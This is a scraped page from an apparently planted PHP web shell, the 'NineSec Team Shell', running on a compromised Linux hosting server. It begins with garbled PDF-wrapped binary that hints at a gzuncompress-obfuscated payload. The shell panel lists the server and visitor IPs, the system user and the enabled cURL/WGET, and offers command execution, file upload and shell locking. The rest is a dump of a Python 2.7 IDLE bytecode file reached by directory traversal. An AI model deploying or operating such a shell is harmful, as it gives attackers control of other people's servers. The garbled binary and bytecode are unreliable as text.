%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  �a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q�f ^ u>� $k�( �H l�EW o W  %l d] 6 ] - L  > 9 t* y 4� b 5 Q\ \�v U  2c 3  c qM�= |  IT: S � |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " �3 }$jH q w bx B" < 5b }%�+ 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx�.) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f�d v*� ' i � G j * cB� zi  _  j z[ 7; 2 -  zZ  f V � z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3� l� ]u b-5 Fwm z zp)M ) jO q� u q  E K l 7  [[ y Xg e ~ , 9 � k; +ny  )s=9) � u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w� e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d, � 4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 217.21.91.109  /  Your IP : 216.73.216.18
Web Server : LiteSpeed
System : Linux in-mum-web830.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u903744608 ( 903744608)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /etc/fonts/../my.cnf.d/../../../opt/../../lib64/python2.7/idlelib/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/fonts/../my.cnf.d/../../../opt/../../lib64/python2.7/idlelib/configHelpSourceEdit.pyc
�
{fc@s�dZddlZddlZddlTddlZddlZdefd��YZedkrddl	m
Z
e
e�ndS(sKDialog to specify or edit the parameters for a user configured help source.i����N(t*tGetHelpSourceDialogcBsVeZdded�Zd�Zd�Zd�Zd�Zdd�Z	dd�Z
RS(	tcCsOtj||�|jdd�|jdtdt�|j|�|j|�|j�|jd|j	�||_
d
|_|j
�|jj|�|jj|�|j�|j�|jd|j�|j�d|j�d|j�|s|j�d|j�dndf�|j�|jd	|j�|j�d
S(s2Get menu entry and url/ local file location for Additional Help

        User selects a name for the Help resource and provides a web url
        or a local file as its source.  The user can enter a url or browse
        for the file.

        _htest - bool, change box location when running htest
        tborderwidthitheighttwidthtWM_DELETE_WINDOWs+%d+%dii�s<Return>N(tToplevelt__init__t	configuret	resizabletFALSEttitlet	transienttgrab_settprotocoltCanceltparenttNonetresultt
CreateWidgetstmenutsettpathtwithdrawtupdate_idletaskstgeometrytwinfo_rootxtwinfo_widthtwinfo_reqwidthtwinfo_rootytwinfo_heighttwinfo_reqheightt	deiconifytbindtOktwait_window(tselfRRtmenuItemtfilePatht_htest((s4/usr/lib64/python2.7/idlelib/configHelpSourceEdit.pyRs.	


		


		0
c
Csmt|�|_t|�|_t|�|_t|dddt�|_|jjdtdt	dt
�t|jdtdt
d	d
�}t|jd|jdd
�|_|jj�t|jdtdt
d	d�}t|jd|jdd�|_|jj�|jdtdddd�|jjdtdddd�|jdtdddd�|jjdtdddd�t|jd	dddd|j�}|jdd�t|�}|jdtdt�t|d	ddddtd|j�|_|jjdddddddd�t|d	dddd|j�|_|jjdddddddd�dS(NRitrelieftsidetexpandtfilltanchortjustifyttexts
Menu Item:ttextvariableRis,Help File Path: Enter URL or browse for filei(tpadxitpadyitBrowseitcommandtOKtdefaulttrowitcolumnRi(t	StringVarRRtfontSizetFrametGROOVEt	frameMaintpacktTOPtTRUEtBOTHtLabeltWtLEFTtEntryt	entryMenut	focus_sett	entryPathtButtont
browseFiletBOTTOMtXtACTIVER#tbuttonOktgridRtbuttonCancel(R%t	labelMenut	labelPathtbrowseButtontframeButtons((s4/usr/lib64/python2.7/idlelib/configHelpSourceEdit.pyR/s<	
	
%cCs�dddddg}|jj�}|rEtjj|�\}}nmd}tjd d
kr�tjjtjjtj	�d�}tjj
|�s�tj�}q�ntj�}tj
d|d|�}|jd|d|�}|r�|jj|�ndS(Ns
HTML Filess*.htm *.htmltTEXTs	PDF Filess*.pdfsWindows Help Filess*.chms
Text Filess*.txts	All FilesRitwintDocRt	filetypest
initialdirtinitialfile(s
HTML Filess*.htm *.htmlRU(s	PDF Filess*.pdfRU(sWindows Help Filess*.chm(s
Text Filess*.txtRU(s	All FilesR(RtgettostsplitRtsystplatformtjointdirnamet
executabletisdirtgetcwdttkFileDialogtOpentshowR(R%RXRtdirtbaset
opendialogtfile((s4/usr/lib64/python2.7/idlelib/configHelpSourceEdit.pyRJOs$	$cCs�t}|jj�}|j�|sWtjddddd|�|jj�t}nDt	|�dkr�tjddddd|�|jj�t}n|S(s3Simple validity check for a sensible menu item nameRsMenu Item ErrortmessagesNo menu item specifiedRis(Menu item too long:
Limit 30 characters.(
tTrueRR[tstripttkMessageBoxt	showerrorRFRGtFalsetlen(R%tmenuOkR((s4/usr/lib64/python2.7/idlelib/configHelpSourceEdit.pytMenuOkfs 

	
	cCs�t}|jj�}|j�|sWtjddddd|�|jj�t}ns|j	d�rina|d d	kr�|d}nt
jj|�s�tjdddd
d|�|jj�t}n|S(s(Simple validity check for menu file pathRsFile Path ErrorRlsNo help file path specified.Rswww.thttpisfile:sHelp file path does not exist.(swww.Ru(RmRR[RnRoRpRHRGRqt
startswithR\texists(R%tpathOkR((s4/usr/lib64/python2.7/idlelib/configHelpSourceEdit.pytPathOkzs(

	

	cCs�|j�r�|j�r�|jj�j�|jj�j�f|_tjdkr�|jd}|j	d�rsq�t
|j�|_d||jd<n|j�|j�ndS(Ntdarwinitwwwsfile:shttp:sfile://(R{sfile:shttp:(
RtRyRR[RnRRR^R_Rvtlisttgrab_releasetdestroy(R%teventR((s4/usr/lib64/python2.7/idlelib/configHelpSourceEdit.pyR#�s

cCs!d|_|j�|j�dS(N(RRR}R~(R%R((s4/usr/lib64/python2.7/idlelib/configHelpSourceEdit.pyR�s	
N(t__name__t
__module__RqRRRJRtRyRR#R(((s4/usr/lib64/python2.7/idlelib/configHelpSourceEdit.pyR
s$	 			t__main__(trun(t__doc__R\R^tTkinterRoReRRR�tidlelib.idle_test.htestR�(((s4/usr/lib64/python2.7/idlelib/configHelpSourceEdit.pyt<module>s
�

NineSec Team - 2022